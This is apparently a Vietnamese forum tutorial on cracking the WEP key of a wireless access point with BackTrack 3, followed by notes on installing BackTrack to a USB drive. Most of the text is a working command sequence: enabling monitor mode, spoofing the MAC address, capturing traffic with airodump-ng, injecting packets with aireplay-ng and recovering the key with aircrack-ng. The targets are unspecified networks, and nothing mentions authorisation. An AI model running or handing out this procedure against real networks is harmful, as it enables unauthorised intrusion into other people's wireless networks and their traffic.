[Hacking] Cracking WEP Using Backtrack3-Hack wireless

Yêu cầu:

Trích:

--CD Backtrack3 hoặc USB (sẽ có bài hướng dẫn sử dụng USB để chạy Backtrack 3 )
--Máy tính phải có card wireless chuẩn 802.11
--Một Access Point dc mã hóa bằng công nghệ WEP nha

Download Backtrack3 dành cho CD
Download Backtrack3 cho USB
Download Backtrack3 cho VMware
PREPARING THE WIFI CARD

-Kích hoạt chế độ "Monitor Mode".Nếu sử dụng driver Intel® PRO/Wireless 3945ABG chipset thì gõ lệnh sau

Mã: Nhấn vào để bôi đen tất cả

modprobe -r iwl3945
modprobe ipwraw

-Sau khi đã kích hoạt monitor mode của wireless chipset.Tiếp theo gõ lệnh sau để tắt wifi card

Mã: Nhấn vào để bôi đen tất cả

 iwconfig

-Xem thử tên wireless adapter sau đó sử dụng lệnh sau để tắt nó:

Mã: Nhấn vào để bôi đen tất cả

airmon-ng stop [device]

Sau đó gõ lệnh

Mã: Nhấn vào để bôi đen tất cả

ifconfig  down [interface]

Tiếp theo đổi địa chỉ MAC của thiết bị adapte nha (ICT k bít sao trong backtrack3 có thể đổi dc chứ Window thì k đổi MAC dc rùi )

Mã: Nhấn vào để bôi đen tất cả

macchanger --mac 00:11:22:33:44:66 [device]

Bây giờ thì bắt đầu với wifi card của monitor nha.Gõ lệnh sau:

Mã: Nhấn vào để bôi đen tất cả

airmon-ng start [device]

ATTACKING THE TARGET

Bây giờ xác định WEP thích hợp để bắt đầu làm việc nha.Scan .Gõ lệnh:

Mã: Nhấn vào để bôi đen tất cả

airodump-ng [device]

Hãy chắc chắn địa chỉ MAC (BSSID),CH và tên (ESSID) là mục tiêu để tấn công.Tiếp theo bắt đầu thu thập thông tin từ Wifi Access Point để tấn công.Gõ lệnh sau:

Mã: Nhấn vào để bôi đen tất cả

airodump-ng -c [channel] -w [network.out] –bssid [bssid] [device]

Lệnh sẽ xuất ra file có tên là network.out.File này chính là WEP crack khi bạn đã thực hiện thành công việc crack WEP.Nào bây giờ bạn cần tạo 1 vài gói packet truyền tới Access point để tăng tốc độ xuất dữ liệu.Dùng lệnh:

Mã: Nhấn vào để bôi đen tất cả

aireplay-ng -1 0 -a [bssid] -h 00:11:22:33:44:66 -e [essid] [device]

Tiếp theo gõ lệnh:

Mã: Nhấn vào để bôi đen tất cả

airplay-ng -3 -b [bssid] -h 00:11:22:33:44:66 [device]

Kiểm tra lại bằng lệnh aerodump-ng và nhìn vào dòng Data


Nếu trong khoảng từ 10.000 tới 20.000 thì bạn có thể bắt đầu crack rồi.Nếu không có host nào khác trên mục tiêu thì gõ lệnh để cố gắng tạo các gói packet:

Mã: Nhấn vào để bôi đen tất cả

aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b [bssid] -h 00:11:22:33:44:66 [device]

Bây giờ đã đủ packet,bắt đầu crack dc rồi nha .Gõ lệnh:

Mã: Nhấn vào để bôi đen tất cả

aircrack-ng -n 128 -b [bssid] [filename]-01.cap

Nếu "-n 128" không dc,bạn có thể thử gõ lệnh sau:

Mã: Nhấn vào để bôi đen tất cả

aircrack-ng -N 64 -b [bssid] [filename]-01.cap

Search file network.out và xem key thử nha .Chúc thành công

HOW TO INSTALL BACKTRACK TO A USB DEVICE





Yêu cầu:

1. USB 1GB
2. File Backtrack3 dành cho USB
3. PC có hỗ trợ Boot từ USB(hiện nay chắc máy nào cũng có rùi nha )

Cài đặt Backtrack 3 Final từ Windows:

1. Download "HP USB Disk Storage format tool" -->format USB theo định dạng FAT32. (ko cần check vào ô Create a Dos startup disk)
2. Download Backtrack3 dành cho USB nè
3. Giải nén thư mục Boot và BT3 từ file vừa tải về vào USB.
4. Vào thư mục Boot và click vào bootinst.bat (nó báo lỗi nhưng vẫn click vào Continue)
5. 
6. Làm theo hướng dẫn trong cửa sổ dos vừa hiện ra để cài chế độ Boot cho USB.
7. Khởi động lại máy tính, chỉnh boot từ USB

Lưu ý: Mặc định Backtrack sẽ tự động đăng nhập với :
User: root
Password: toor

Bạn xem video tại đây :
[Made By Me] Crack WEP using Backtrack4
[Made By Me] Crack WPA using Backtrack4

Author : thongdola2007

Link: http://uitstudent.com/backtrack/5928-cracking-wep-using-backtrack3-hack-wireless.html